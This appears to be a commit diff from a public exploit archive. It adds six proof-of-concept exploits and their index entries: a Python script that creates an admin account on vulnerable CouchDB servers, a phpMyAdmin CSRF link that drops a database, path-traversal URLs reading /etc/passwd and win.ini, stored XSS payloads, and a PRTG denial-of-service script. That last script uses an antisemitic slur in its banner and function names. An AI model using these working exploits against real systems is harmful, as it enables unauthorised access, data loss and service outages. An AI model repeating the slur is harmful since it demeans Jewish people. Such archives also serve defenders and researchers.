DB: 2018-04-24
6 changes to exploits/shellcodes PRTG Network Monitor < 18.1.39.1648 - Stack Overflow (Denial of Service) phpMyAdmin 4.8.0 < 4.8.0-1 - Cross-Site Request Forgery Ncomputing vSpace Pro v10 and v11 - Directory Traversal PoC Apache CouchDB 1.7.0 and 2.x before 2.1.1 - Remote Privilege Escalation Drupal avatar_uploader v7.x-1.0-beta8 - Arbitrary File Disclosure Monstra cms 3.0.4 - Persitent Cross-Site Scripting
This commit is contained in:
Offensive Security
parent
a457bba56c
commit
082f2d1bd8
7 changed files with 264 additions and 0 deletions
66
exploits/linux/webapps/44498.py
Executable file
66
exploits/linux/webapps/44498.py
Executable file
|
|
@ -0,0 +1,66 @@
|
||||||
|
# Exploit Title: Apache CouchDB JSON 1.7.0 and 2.x before 2.1.1 - Remote Privilege Escalation
|
||||||
|
# Date: 2017-08-07
|
||||||
|
# Exploit Author: Sebastián Castro @r4wd3r
|
||||||
|
# Vendor Homepage: https://blog.couchdb.org/2017/11/14/apache-couchdb-cve-2017-12635-and-cve-2017-12636/
|
||||||
|
# Software Link: http://couchdb.apache.org/
|
||||||
|
# Version: Apache CouchDB 1.7.0 and 2.x before 2.1.1
|
||||||
|
# CVE : CVE-2017-12635
|
||||||
|
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import re
|
||||||
|
import sys
|
||||||
|
import requests
|
||||||
|
|
||||||
|
parser = argparse.ArgumentParser(
|
||||||
|
description='Exploits the Apache CouchDB JSON Remote Privilege Escalation Vulnerability' +
|
||||||
|
' (CVE-2017-12635)')
|
||||||
|
parser.add_argument('host', help='Host to attack.', type=str)
|
||||||
|
parser.add_argument('-p', '--port', help='Port of CouchDB Service', type=str, default='5984')
|
||||||
|
parser.add_argument('-u', '--user', help='Username to create as admin.',
|
||||||
|
type=str, default='couchara')
|
||||||
|
parser.add_argument('-P', '--password', help='Password of the created user.',
|
||||||
|
type=str, default='couchapass')
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
host = args.host
|
||||||
|
port = args.port
|
||||||
|
user = args.user
|
||||||
|
password = args.password
|
||||||
|
|
||||||
|
pat_ip = re.compile("^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$")
|
||||||
|
if not pat_ip.match(host):
|
||||||
|
print "[x] Wrong host. Must be a valid IP address."
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
print "[+] User to create: " + user
|
||||||
|
print "[+] Password: " + password
|
||||||
|
print "[+] Attacking host " + host + " on port " + port
|
||||||
|
|
||||||
|
url = 'http://' + host + ':' + port
|
||||||
|
|
||||||
|
try:
|
||||||
|
rtest = requests.get(url, timeout=10)
|
||||||
|
except requests.exceptions.Timeout:
|
||||||
|
print "[x] Server is taking too long to answer. Exiting."
|
||||||
|
sys.exit(1)
|
||||||
|
except requests.ConnectionError:
|
||||||
|
print "[x] Unable to connect to the remote host."
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
# Payload for creating user
|
||||||
|
cu_url_payload = url + "/_users/org.couchdb.user:" + user
|
||||||
|
cu_data_payload = '{"type": "user", "name": "'+user+'", "roles": ["_admin"], "roles": [], "password": "'+password+'"}'
|
||||||
|
|
||||||
|
try:
|
||||||
|
rcu = requests.put(cu_url_payload, data=cu_data_payload)
|
||||||
|
except requests.exceptions.HTTPError:
|
||||||
|
print "[x] ERROR: Unable to create the user on remote host."
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
if rcu.status_code == 201:
|
||||||
|
print "[+] User " + user + " with password " + password + "successfully created."
|
||||||
|
sys.exit(0)
|
||||||
|
else:
|
||||||
|
print "[x] ERROR " + rcu.status_code + ": Unable to create the user on remote host."
|
||||||
24
exploits/php/webapps/44496.html
Normal file
24
exploits/php/webapps/44496.html
Normal file
|
|
@ -0,0 +1,24 @@
|
||||||
|
# Exploit Title: phpMyAdmin 4.8.0 < 4.8.0-1 - Cross-Site Request Forgery
|
||||||
|
# Date: 2018-04-20
|
||||||
|
# Software Link: https://www.phpmyadmin.net/
|
||||||
|
# Author: @revengsh & @0x00FI
|
||||||
|
# CVE: CVE-2018-10188
|
||||||
|
# Category: Webapps
|
||||||
|
|
||||||
|
|
||||||
|
#1. Description
|
||||||
|
#The vulnerability exists due to failure in the "/sql.php" script to properly verify the source of HTTP request.
|
||||||
|
#This Cross-Site Request Forgery (CSRF) allows an attacker to execute arbitrary SQL statement by sending a malicious request to a logged in user.
|
||||||
|
#2. Proof of Concept: This example sends HTTP GET crafted request in order to drop the specified database.
|
||||||
|
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<a href="http://[HOST]/phpmyadmin/sql.php?sql_query=DROP+DATABASE+[DBNAME]">
|
||||||
|
Drop database
|
||||||
|
</a>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
#3. Solution: Upgrade to phpMyAdmin 4.8.0-1 or newer.
|
||||||
|
#4. Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10188
|
||||||
23
exploits/php/webapps/44501.txt
Normal file
23
exploits/php/webapps/44501.txt
Normal file
|
|
@ -0,0 +1,23 @@
|
||||||
|
#Title: Drupal avatar_uploader v7.x-1.0-beta8 - Arbitrary File Disclosure
|
||||||
|
#Author: Larry W. Cashdollar
|
||||||
|
#Date: 2018-03-30
|
||||||
|
#CVE-ID: CVE-2018-9205
|
||||||
|
#Download Site: https://www.drupal.org/project/avatar_uploader
|
||||||
|
#Vendor: https://www.drupal.org/u/robbinzhao
|
||||||
|
#Vendor Notified: 2018-04-02
|
||||||
|
#Vendor Contact: https://www.drupal.org/project/avatar_uploader/issues/2957966#comment-12554146
|
||||||
|
#Advisory: http://www.vapidlabs.com/advisory.php?v=202
|
||||||
|
|
||||||
|
#Description: This module used Simple Ajax Uploader, and provide a basic uploader panel, for more effect, you can do your custom javascript. Such as, users' mouse hover on avatar, the edit link will slideup, or others.
|
||||||
|
#Vulnerability:
|
||||||
|
#The view.php contains code to retrieve files but no code to verify a user should be able to view files or keep them from changing the path to outside of the uploadDir directory:
|
||||||
|
|
||||||
|
<?php
|
||||||
|
|
||||||
|
$file = $_GET['file'];
|
||||||
|
|
||||||
|
echo file_get_contents("uploadDir/$file");
|
||||||
|
exit;
|
||||||
|
|
||||||
|
Exploit Code:
|
||||||
|
http://example.com/sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../etc/passwd
|
||||||
28
exploits/php/webapps/44502.txt
Normal file
28
exploits/php/webapps/44502.txt
Normal file
|
|
@ -0,0 +1,28 @@
|
||||||
|
# Exploit Title: Monstra cms 3.0.4 - Persitent Cross-Site Scripting
|
||||||
|
# Date: 2018-04-14
|
||||||
|
# Exploit Author: Wenming Jiang
|
||||||
|
# Vendor Homepage: https://github.com/monstra-cms/monstra
|
||||||
|
# Software Link: https://github.com/monstra-cms/monstra
|
||||||
|
# Version: 3.0.4
|
||||||
|
# Tested on: php 5.6, apache2.2.29, macos 10.12.6
|
||||||
|
# CVE :CVE-2018-10109
|
||||||
|
|
||||||
|
|
||||||
|
#Description:
|
||||||
|
#Monstra CMS 3.0.4 has a stored XSS vulnerability when an attacker has access to the editor role, and enters the payload
|
||||||
|
#in the content section of a new page in the blog catalog.
|
||||||
|
|
||||||
|
|
||||||
|
#Steps to replicate:
|
||||||
|
#1. log into the system as an editor role
|
||||||
|
#2. creat a new page in the blog catalog
|
||||||
|
#3. navigate to content section
|
||||||
|
#4. enter payload: <script>alert(document.cookie)</script>
|
||||||
|
#5. visit http://<your_site>/monstra/blog/<page_name>.php, you will triage JavaScript execution
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#Exploit Code:
|
||||||
|
<script>alert(document.cookie)</script>
|
||||||
|
or
|
||||||
|
<img src=1 onerror=alert(/xss/) >
|
||||||
37
exploits/windows/webapps/44497.txt
Normal file
37
exploits/windows/webapps/44497.txt
Normal file
|
|
@ -0,0 +1,37 @@
|
||||||
|
# Exploit Title: Ncomputing vSpace Pro v10 and v11 - Directory Traversal Vulnerability
|
||||||
|
# Date: 2018-04-20
|
||||||
|
# Software Vendor: NComputing
|
||||||
|
# Software Link:
|
||||||
|
# Author: Javier Bernardo
|
||||||
|
# CVE: CVE-2018-10201
|
||||||
|
# Category: Webapps
|
||||||
|
|
||||||
|
#[Description]
|
||||||
|
#
|
||||||
|
#It is possible to read arbitrary files outside the root directory of
|
||||||
|
#the web server. This vulnerability could be exploited remotely by a
|
||||||
|
#crafted URL without credentials, with …/ or …\ or …./ or ….\ as a
|
||||||
|
#directory-traversal pattern to TCP port 8667.
|
||||||
|
#
|
||||||
|
#An attacker can make use of this vulnerability to step out of the root
|
||||||
|
#directory and access other parts of the file system. This might give
|
||||||
|
#the attacker the ability to view restricted files, which could provide
|
||||||
|
#the attacker with more information required to further compromise the system.
|
||||||
|
|
||||||
|
#[PoC]
|
||||||
|
|
||||||
|
nmap -p T:8667 -Pn your_vSpace_server
|
||||||
|
|
||||||
|
Nmap scan report for your_vSpace_server (x.x.x.x)
|
||||||
|
Host is up (0.044s latency).
|
||||||
|
|
||||||
|
PORT STATE SERVICE
|
||||||
|
8667/tcp open unknown
|
||||||
|
|
||||||
|
http://your_vSpace_server:8667/.../.../.../.../.../.../.../.../.../windows/win.ini
|
||||||
|
|
||||||
|
http://your_vSpace_server:8667/...\...\...\...\...\...\...\...\...\windows\win.ini
|
||||||
|
|
||||||
|
http://your_vSpace_server:8667/..../..../..../..../..../..../..../..../..../windows/win.ini
|
||||||
|
|
||||||
|
http://your_vSpace_server:8667/....\....\....\....\....\....\....\....\....\windows\win.ini
|
||||||
80
exploits/windows_x86/dos/44500.py
Executable file
80
exploits/windows_x86/dos/44500.py
Executable file
|
|
@ -0,0 +1,80 @@
|
||||||
|
# Exploit Title: PRTG 18.1.39.1648 - Stack Overflow
|
||||||
|
# Date: 2018-04-21
|
||||||
|
# Exploit Author: Lucas "luriel" Carmo
|
||||||
|
# Vendor Homepage: https://www.paessler.com/prtg
|
||||||
|
# Software Link: https://www.paessler.com/download/prtg-download
|
||||||
|
# Version: 18.1.39.1648
|
||||||
|
# CVE : CVE-2018-10253
|
||||||
|
# Post Reference: https://medium.com/stolabs/stack-overflow-jewish-napalm-on-prtg-network-monitoring-56609b0804c5
|
||||||
|
# http://www.roothc.com.br/stack-overflow-prtg-network-monitoring-jewish-napalm/
|
||||||
|
|
||||||
|
#!/usr/bin/python
|
||||||
|
|
||||||
|
import requests
|
||||||
|
import sys
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import socket
|
||||||
|
|
||||||
|
green = "\033[1;32m"
|
||||||
|
yellow = '\033[1;33m'
|
||||||
|
normal = '\033[0;0m'
|
||||||
|
banner = """
|
||||||
|
██╗███████╗██╗ ██╗██╗███████╗██╗ ██╗ ███╗ ██╗ █████╗ ██████╗ █████╗ ██╗ ███╗ ███╗
|
||||||
|
██║██╔════╝██║ ██║██║██╔════╝██║ ██║ ████╗ ██║██╔══██╗██╔══██╗██╔══██╗██║ ████╗ ████║
|
||||||
|
██║█████╗ ██║ █╗ ██║██║███████╗███████║ ██╔██╗ ██║███████║██████╔╝███████║██║ ██╔████╔██║
|
||||||
|
██ ██║██╔══╝ ██║███╗██║██║╚════██║██╔══██║ ██║╚██╗██║██╔══██║██╔═══╝ ██╔══██║██║ ██║╚██╔╝██║
|
||||||
|
╚█████╔╝███████╗╚███╔███╔╝██║███████║██║ ██║ ██║ ╚████║██║ ██║██║ ██║ ██║███████╗██║ ╚═╝ ██║
|
||||||
|
╚════╝ ╚══════╝ ╚══╝╚══╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
banner2 = """
|
||||||
|
Author: @Lucas "luriel" Carmo
|
||||||
|
"""
|
||||||
|
|
||||||
|
os.system('clear')
|
||||||
|
|
||||||
|
print(green+banner)
|
||||||
|
print(yellow+banner2)
|
||||||
|
print(normal)
|
||||||
|
|
||||||
|
def check_http(url):
|
||||||
|
pattern = re.compile("http://")
|
||||||
|
return re.search(pattern, url)
|
||||||
|
|
||||||
|
def sanitize_url(url):
|
||||||
|
if(not check_http(url)):
|
||||||
|
return "http://" + url
|
||||||
|
return url
|
||||||
|
|
||||||
|
def check_server(url):
|
||||||
|
r = requests.get(url, timeout=4)
|
||||||
|
code = r.status_code
|
||||||
|
|
||||||
|
def send_jewish_payload(url):
|
||||||
|
payload = {'file':'addmap.htm'}
|
||||||
|
r = requests.post(url, params=payload)
|
||||||
|
|
||||||
|
def main():
|
||||||
|
try:
|
||||||
|
if len(sys.argv) <= 3 and len (sys.argv) >= 2:
|
||||||
|
try:
|
||||||
|
url = sanitize_url(sys.argv[1])
|
||||||
|
print(' [#] LOADING!')
|
||||||
|
if (check_server(url) != 404):
|
||||||
|
send_jewish_payload(url)
|
||||||
|
else:
|
||||||
|
print(' [!] Server shutdown or not found')
|
||||||
|
except requests.exceptions.ConnectionError:
|
||||||
|
print(' [~] BOOOOOM! PRTG Server has been exploded!')
|
||||||
|
except requests.exceptions.InvalidURL:
|
||||||
|
print(' [!] Invalid URL')
|
||||||
|
except requests.exceptions.Timeout:
|
||||||
|
print(' [!] Connection Timeout\n')
|
||||||
|
else:
|
||||||
|
print('Example usage: ./'+sys.argv[0]+' http://192.168.0.10/index.htm')
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print(' [!] Jewish Napalm Canceled;.....[./]')
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
||||||
|
|
@ -5941,6 +5941,7 @@ id,file,description,date,author,type,platform,port
|
||||||
44490,exploits/linux/dos/44490.txt,"PDFunite 0.41.0 - '.pdf' Local Buffer Overflow",2018-04-18,Hamm3r.py,dos,linux,
|
44490,exploits/linux/dos/44490.txt,"PDFunite 0.41.0 - '.pdf' Local Buffer Overflow",2018-04-18,Hamm3r.py,dos,linux,
|
||||||
44491,exploits/multiple/dos/44491.txt,"RSVG 2.40.13 / 2.42.2 - '.svg' Buffer Overflow",2018-04-18,Hamm3r.py,dos,multiple,
|
44491,exploits/multiple/dos/44491.txt,"RSVG 2.40.13 / 2.42.2 - '.svg' Buffer Overflow",2018-04-18,Hamm3r.py,dos,multiple,
|
||||||
44494,exploits/windows/dos/44494.py,"VX Search 10.6.18 - 'directory' Local Buffer Overflow",2018-04-18,"Kevin McGuigan",dos,windows,
|
44494,exploits/windows/dos/44494.py,"VX Search 10.6.18 - 'directory' Local Buffer Overflow",2018-04-18,"Kevin McGuigan",dos,windows,
|
||||||
|
44500,exploits/windows_x86/dos/44500.py,"PRTG Network Monitor < 18.1.39.1648 - Stack Overflow (Denial of Service)",2018-04-23,luriel,dos,windows_x86,
|
||||||
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
|
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
|
||||||
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
|
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
|
||||||
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
|
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
|
||||||
|
|
@ -39188,3 +39189,8 @@ id,file,description,date,author,type,platform,port
|
||||||
44492,exploits/php/webapps/44492.txt,"Joomla! Component JS Jobs 1.2.0 - Cross-Site Request Forgery",2018-04-18,"Sureshbabu Narvaneni",webapps,php,80
|
44492,exploits/php/webapps/44492.txt,"Joomla! Component JS Jobs 1.2.0 - Cross-Site Request Forgery",2018-04-18,"Sureshbabu Narvaneni",webapps,php,80
|
||||||
44493,exploits/xml/webapps/44493.txt,"Geist WatchDog Console 3.2.2 - Multiple Vulnerabilities",2018-04-18,bzyo,webapps,xml,
|
44493,exploits/xml/webapps/44493.txt,"Geist WatchDog Console 3.2.2 - Multiple Vulnerabilities",2018-04-18,bzyo,webapps,xml,
|
||||||
44495,exploits/php/webapps/44495.txt,"Cobub Razor 0.8.0 - Physical path Leakage",2018-04-20,Kyhvedn,webapps,php,
|
44495,exploits/php/webapps/44495.txt,"Cobub Razor 0.8.0 - Physical path Leakage",2018-04-20,Kyhvedn,webapps,php,
|
||||||
|
44496,exploits/php/webapps/44496.html,"phpMyAdmin 4.8.0 < 4.8.0-1 - Cross-Site Request Forgery",2018-04-23,revengsh,webapps,php,
|
||||||
|
44497,exploits/windows/webapps/44497.txt,"Ncomputing vSpace Pro v10 and v11 - Directory Traversal PoC",2018-04-23,"Javier Bernardo",webapps,windows,
|
||||||
|
44498,exploits/linux/webapps/44498.py,"Apache CouchDB 1.7.0 and 2.x before 2.1.1 - Remote Privilege Escalation",2018-04-23,r4wd3r,webapps,linux,
|
||||||
|
44501,exploits/php/webapps/44501.txt,"Drupal avatar_uploader v7.x-1.0-beta8 - Arbitrary File Disclosure",2018-04-23,"Larry W. Cashdollar",webapps,php,
|
||||||
|
44502,exploits/php/webapps/44502.txt,"Monstra cms 3.0.4 - Persitent Cross-Site Scripting",2018-04-23,"Wenming Jiang",webapps,php,
|
||||||
|
|
|
||||||
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue